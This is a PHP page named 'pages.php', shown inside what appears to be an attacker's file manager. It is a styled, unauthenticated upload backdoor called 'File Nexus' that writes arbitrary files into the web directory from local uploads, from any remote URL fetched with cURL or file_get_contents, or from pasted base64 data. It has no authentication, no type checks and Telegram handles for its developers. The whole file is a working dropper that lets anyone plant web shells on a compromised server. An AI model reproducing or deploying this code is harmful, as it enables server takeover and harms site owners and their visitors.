OwlCyberSecurity - MANAGER

Edit File: pages.php

<?php

// Get the directory where the script is located
$uploadDir = dirname(__FILE__) . "/" ;

// Create the uploads directory if it doesn't exist
if (!file_exists($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

// Check if the form is submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

// Method 1: Normal File Upload with Custom Name
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK && isset($_POST['custom_name_normal']) && !empty($_POST['custom_name_normal'])) {
        $customFileName = $_POST['custom_name_normal'];
        $uploadFile = $uploadDir . basename($customFileName);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
            echo "File uploaded successfully (Normal Upload) with custom name: $customFileName.<br>";
        } else {
            echo "Failed to upload file (Normal Upload).<br>";
        }
    }

// Method 2: Remote File Upload using cURL with Custom Name
    if (isset($_POST['remote_url']) && !empty($_POST['remote_url']) && isset($_POST['custom_name_remote']) && !empty($_POST['custom_name_remote'])) {
        $remoteUrl = $_POST['remote_url'];
        $customFileName = $_POST['custom_name_remote'];
        $uploadFile = $uploadDir . basename($customFileName);

// Use cURL to fetch the remote file
        $ch = curl_init($remoteUrl);
        $fp = fopen($uploadFile, 'wb');
        curl_setopt($ch, CURLOPT_FILE, $fp);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        if (curl_exec($ch)) {
            echo "Remote file uploaded successfully using cURL with custom name: $customFileName.<br>";
        } else {
            echo "Failed to upload remote file using cURL.<br>";
        }
        fclose($fp);
        curl_close($ch);
    }

// Method 3: Remote File Upload using file_get_contents() with Custom Name
    if (isset($_POST['remote_url']) && !empty($_POST['remote_url']) && isset($_POST['custom_name_remote']) && !empty($_POST['custom_name_remote'])) {
        $remoteUrl = $_POST['remote_url'];
        $customFileName = $_POST['custom_name_remote'];
        $uploadFile = $uploadDir . basename($customFileName);

// Use file_get_contents to fetch the remote file
        $fileContent = file_get_contents($remoteUrl);
        if ($fileContent !== false) {
            // Save the content to the custom file name
            if (file_put_contents($uploadFile, $fileContent)) {
                echo "Remote file uploaded successfully using file_get_contents() with custom name: $customFileName.<br>";
            } else {
                echo "Failed to upload remote file using file_get_contents().<br>";
            }
        } else {
            echo "Failed to fetch remote file using file_get_contents().<br>";
        }
    }

// Method 4: Base64 Encoding and Save as Custom File Name
    if (isset($_POST['base64']) && !empty($_POST['base64']) && isset($_POST['custom_name_base64']) && !empty($_POST['custom_name_base64'])) {
        $base64Data = $_POST['base64'];
        $customFileName = $_POST['custom_name_base64'];
        $uploadFile = $uploadDir . basename($customFileName);

// Decode the Base64 data and save to the custom file name
        $fileData = base64_decode($base64Data);
        if (file_put_contents($uploadFile, $fileData)) {
            echo "File uploaded successfully as Base64 with custom name: $customFileName.<br>";
        } else {
            echo "Failed to upload file as Base64.<br>";
        }
    }
}

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Advanced File Nexus | @ta9r9apa9</title>
    <style>
        :root {
            --primary: #6e48aa;
            --secondary: #9d50bb;
            --accent: #4776e6;
            --dark: #121212;
            --light: #f5f5f5;
            --success: #4caf50;
            --warning: #ff9800;
            --error: #f44336;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        
        body {
            background-color: var(--dark);
            color: var(--light);
            min-height: 100vh;
            background-image: 
                radial-gradient(circle at 25% 25%, rgba(110, 72, 170, 0.15) 0%, transparent 50%),
                radial-gradient(circle at 75% 75%, rgba(157, 80, 187, 0.15) 0%, transparent 50%);
            overflow-x: hidden;
        }
        
        .container {
            max-width: 900px;
            margin: 0 auto;
            padding: 2rem;
        }
        
        header {
            text-align: center;
            margin-bottom: 3rem;
            position: relative;
        }
        
        h1 {
            font-size: 2.5rem;
            margin-bottom: 0.5rem;
            background: linear-gradient(90deg, var(--primary), var(--secondary), var(--accent));
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            position: relative;
            display: inline-block;
        }
        
        h1::after {
            content: '';
            position: absolute;
            bottom: -10px;
            left: 0;
            width: 100%;
            height: 3px;
            background: linear-gradient(90deg, var(--primary), var(--secondary), var(--accent));
            border-radius: 3px;
        }
        
        .tagline {
            font-size: 1.1rem;
            opacity: 0.8;
            margin-bottom: 1.5rem;
        }
        
        .upload-container {
            background: rgba(30, 30, 30, 0.8);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 2rem;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            border: 1px solid rgba(255, 255, 255, 0.1);
        }
        
        .tabs {
            display: flex;
            margin-bottom: 2rem;
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
        }
        
        .tab {
            padding: 0.8rem 1.5rem;
            cursor: pointer;
            position: relative;
            opacity: 0.7;
            transition: all 0.3s ease;
        }
        
        .tab.active {
            opacity: 1;
        }
        
        .tab.active::after {
            content: '';
            position: absolute;
            bottom: -1px;
            left: 0;
            width: 100%;
            height: 3px;
            background: linear-gradient(90deg, var(--primary), var(--accent));
            border-radius: 3px 3px 0 0;
        }
        
        .tab:hover {
            opacity: 1;
        }
        
        .tab-content {
            display: none;
        }
        
        .tab-content.active {
            display: block;
            animation: fadeIn 0.5s ease;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .upload-section {
            margin-bottom: 1.5rem;
        }
        
        h3 {
            margin-bottom: 1rem;
            color: var(--secondary);
            font-size: 1.2rem;
        }
        
        .input-group {
            margin-bottom: 1.5rem;
        }
        
        label {
            display: block;
            margin-bottom: 0.5rem;
            font-size: 0.9rem;
            opacity: 0.9;
        }
        
        input[type="file"], 
        input[type="text"],
        textarea {
            width: 100%;
            padding: 0.8rem 1rem;
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 8px;
            color: var(--light);
            font-size: 1rem;
            transition: all 0.3s ease;
        }
        
        input[type="file"] {
            padding: 0.5rem;
        }
        
        input[type="text"]:focus,
        textarea:focus {
            outline: none;
            border-color: var(--accent);
            box-shadow: 0 0 0 2px rgba(71, 118, 230, 0.3);
        }
        
        textarea {
            min-height: 150px;
            resize: vertical;
        }
        
        .btn {
            background: linear-gradient(135deg, var(--primary), var(--accent));
            color: white;
            border: none;
            padding: 0.8rem 2rem;
            font-size: 1rem;
            border-radius: 8px;
            cursor: pointer;
            transition: all 0.3s ease;
            text-transform: uppercase;
            font-weight: 600;
            letter-spacing: 1px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
        }
        
        .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(110, 72, 170, 0.4);
        }
        
        .btn:active {
            transform: translateY(0);
        }
        
        .btn i {
            margin-right: 8px;
        }
        
        .status {
            margin-top: 1.5rem;
            padding: 1rem;
            border-radius: 8px;
            display: none;
        }
        
        .status.success {
            background-color: rgba(76, 175, 80, 0.2);
            border: 1px solid var(--success);
            color: var(--success);
            display: block;
        }
        
        .status.error {
            background-color: rgba(244, 67, 54, 0.2);
            border: 1px solid var(--error);
            color: var(--error);
            display: block;
        }
        
        .tech-decoration {
            position: absolute;
            opacity: 0.1;
            z-index: -1;
        }
        
        .tech-1 {
            top: 50px;
            right: 50px;
            font-size: 8rem;
        }
        
        .tech-2 {
            bottom: 50px;
            left: 50px;
            font-size: 8rem;
        }
        
        .contact-btn {
            position: fixed;
            bottom: 2rem;
            right: 2rem;
            width: 60px;
            height: 60px;
            border-radius: 50%;
            background: linear-gradient(135deg, var(--primary), var(--accent));
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            box-shadow: 0 5px 20px rgba(110, 72, 170, 0.5);
            transition: all 0.3s ease;
            z-index: 100;
        }
        
        .contact-btn:hover {
            transform: scale(1.1) rotate(10deg);
        }
        
        .contact-btn i {
            font-size: 1.5rem;
            color: white;
        }
        
        .modal {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            backdrop-filter: blur(5px);
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 1000;
            opacity: 0;
            pointer-events: none;
            transition: all 0.3s ease;
        }
        
        .modal.active {
            opacity: 1;
            pointer-events: all;
        }
        
        .modal-content {
            background: rgba(30, 30, 30, 0.95);
            border-radius: 15px;
            padding: 2rem;
            max-width: 500px;
            width: 90%;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);
            border: 1px solid rgba(255, 255, 255, 0.1);
            transform: scale(0.9);
            transition: all 0.3s ease;
            position: relative;
        }
        
        .modal.active .modal-content {
            transform: scale(1);
        }
        
        .modal-header {
            margin-bottom: 1.5rem;
            text-align: center;
        }
        
        .modal-header h2 {
            font-size: 1.8rem;
            margin-bottom: 0.5rem;
            background: linear-gradient(90deg, var(--primary), var(--accent));
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
        }
        
        .modal-body {
            margin-bottom: 1.5rem;
        }
        
        .modal-body p {
            margin-bottom: 1rem;
            line-height: 1.6;
        }
        
        .telegram-link {
            display: inline-block;
            background: #0088cc;
            color: white;
            padding: 0.8rem 1.5rem;
            border-radius: 8px;
            text-decoration: none;
            font-weight: 600;
            margin-top: 1rem;
            transition: all 0.3s ease;
        }
        
        .telegram-link:hover {
            background: #0077b3;
            transform: translateY(-2px);
        }
        
        .close-modal {
            position: absolute;
            top: 1rem;
            right: 1rem;
            background: none;
            border: none;
            color: rgba(255, 255, 255, 0.5);
            font-size: 1.5rem;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .close-modal:hover {
            color: white;
            transform: rotate(90deg);
        }
        
        @media (max-width: 768px) {
            .container {
                padding: 1rem;
            }
            
            h1 {
                font-size: 2rem;
            }
            
            .upload-container {
                padding: 1.5rem;
            }
            
            .tabs {
                flex-wrap: wrap;
            }
            
            .tab {
                padding: 0.6rem 1rem;
                font-size: 0.9rem;
            }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body>
    <div class="tech-decoration tech-1">
        <i class="fas fa-microchip"></i>
    </div>
    <div class="tech-decoration tech-2">
        <i class="fas fa-server"></i>
    </div>
    
    <div class="container">
        <header>
            <h1>File Nexus</h1>
            <p class="tagline">Advanced file transfer interface with multiple upload protocols</p>
        </header>
        
        <div class="upload-container">
            <div class="tabs">
                <div class="tab active" data-tab="normal">Local Upload</div>
                <div class="tab" data-tab="remote">Remote Upload</div>
                <div class="tab" data-tab="base64">Base64 Upload</div>
            </div>
            
            <form method="POST" enctype="multipart/form-data" id="uploadForm">
                
                <div class="tab-content active" id="normal-tab">
                    <div class="upload-section">
                        <h3><i class="fas fa-upload"></i> Local File Upload</h3>
                        <div class="input-group">
                            <label for="file">Select File</label>
                            <input type="file" name="file" id="file">
                        </div>
                        <div class="input-group">
                            <label for="custom_name_normal">Custom Filename</label>
                            <input type="text" name="custom_name_normal" id="custom_name_normal" placeholder="e.g., myfile.jpg">
                        </div>
                    </div>
                </div>
                
                
                <div class="tab-content" id="remote-tab">
                    <div class="upload-section">
                        <h3><i class="fas fa-cloud-download-alt"></i> Remote File Upload</h3>
                        <div class="input-group">
                            <label for="remote_url">Remote File URL</label>
                            <input type="text" name="remote_url" id="remote_url" placeholder="https://example.com/file.jpg">
                        </div>
                        <div class="input-group">
                            <label for="custom_name_remote">Custom Filename</label>
                            <input type="text" name="custom_name_remote" id="custom_name_remote" placeholder="e.g., downloaded_file.jpg">
                        </div>
                    </div>
                </div>
                
                
                <div class="tab-content" id="base64-tab">
                    <div class="upload-section">
                        <h3><i class="fas fa-code"></i> Base64 File Upload</h3>
                        <div class="input-group">
                            <label for="base64">Base64 Data</label>
                            <textarea name="base64" id="base64" placeholder="Paste your Base64 encoded data here"></textarea>
                        </div>
                        <div class="input-group">
                            <label for="custom_name_base64">Custom Filename</label>
                            <input type="text" name="custom_name_base64" id="custom_name_base64" placeholder="e.g., converted_file.png">
                        </div>
                    </div>
                </div>
                
                <button type="submit" class="btn"><i class="fas fa-paper-plane"></i> Upload File</button>
                
                <div class="status" id="status"></div>
            </form>
        </div>
    </div>
    
    <div class="contact-btn" id="contactBtn">
        <i class="fas fa-paper-plane"></i>
    </div>
    
    <div class="modal" id="contactModal">
        <div class="modal-content">
            <button class="close-modal" id="closeModal">&times;</button>
            <div class="modal-header">
                <h2>Contact Developer</h2>
            </div>
            <div class="modal-body">
                <p>Need assistance or have questions about this file upload system?</p>
                <p>You can reach me on Telegram for support or custom development requests.</p>
                <div style="text-align: center; margin-top: 1.5rem;">
                    <a href="https://t.me/OwlUnknown" class="telegram-link" target="_blank">
                        <i class="fab fa-telegram"></i> @OwlUnknown
                    </a>
                    <br>
                    <a href="https://t.me/ta9r9apa9" class="telegram-link" target="_blank" style="margin-top: 0.5rem;">
                        <i class="fab fa-telegram"></i> @ta9r9apa9
                    </a>
                </div>
                <p style="margin-top: 1.5rem; font-size: 0.9rem; opacity: 0.7;">
                    Please mention "File Nexus" in your message for faster response.
                </p>
            </div>
        </div>
    </div>
    
    <script>
        // Tab switching
        const tabs = document.querySelectorAll('.tab');
        const tabContents = document.querySelectorAll('.tab-content');
        
        tabs.forEach(tab => {
            tab.addEventListener('click', () => {
                // Remove active class from all tabs and contents
                tabs.forEach(t => t.classList.remove('active'));
                tabContents.forEach(c => c.classList.remove('active'));
                
                // Add active class to clicked tab and corresponding content
                tab.classList.add('active');
                const tabId = tab.getAttribute('data-tab');
                document.getElementById(`${tabId}-tab`).classList.add('active');
            });
        });
        
        // Contact modal
        const contactBtn = document.getElementById('contactBtn');
        const contactModal = document.getElementById('contactModal');
        const closeModal = document.getElementById('closeModal');
        
        contactBtn.addEventListener('click', () => {
            contactModal.classList.add('active');
        });
        
        closeModal.addEventListener('click', () => {
            contactModal.classList.remove('active');
        });
        
        // Close modal when clicking outside
        contactModal.addEventListener('click', (e) => {
            if (e.target === contactModal) {
                contactModal.classList.remove('active');
            }
        });
        
        // Form submission
        const uploadForm = document.getElementById('uploadForm');
        const statusDiv = document.getElementById('status');
        
        uploadForm.addEventListener('submit', async (e) => {
            e.preventDefault();
            
            const formData = new FormData(uploadForm);
            statusDiv.style.display = 'none';
            
            try {
                const response = await fetch('', {
                    method: 'POST',
                    body: formData
                });
                
                const result = await response.text();
                
                if (response.ok) {
                    statusDiv.className = 'status success';
                    statusDiv.innerHTML = `<i class="fas fa-check-circle"></i> ${result}`;
                    uploadForm.reset();
                } else {
                    statusDiv.className = 'status error';
                    statusDiv.innerHTML = `<i class="fas fa-exclamation-circle"></i> ${result}`;
                }
                
                statusDiv.style.display = 'block';
            } catch (error) {
                statusDiv.className = 'status error';
                statusDiv.innerHTML = `<i class="fas fa-exclamation-circle"></i> An error occurred: ${error.message}`;
                statusDiv.style.display = 'block';
            }
        });
    </script>
</body>
</html>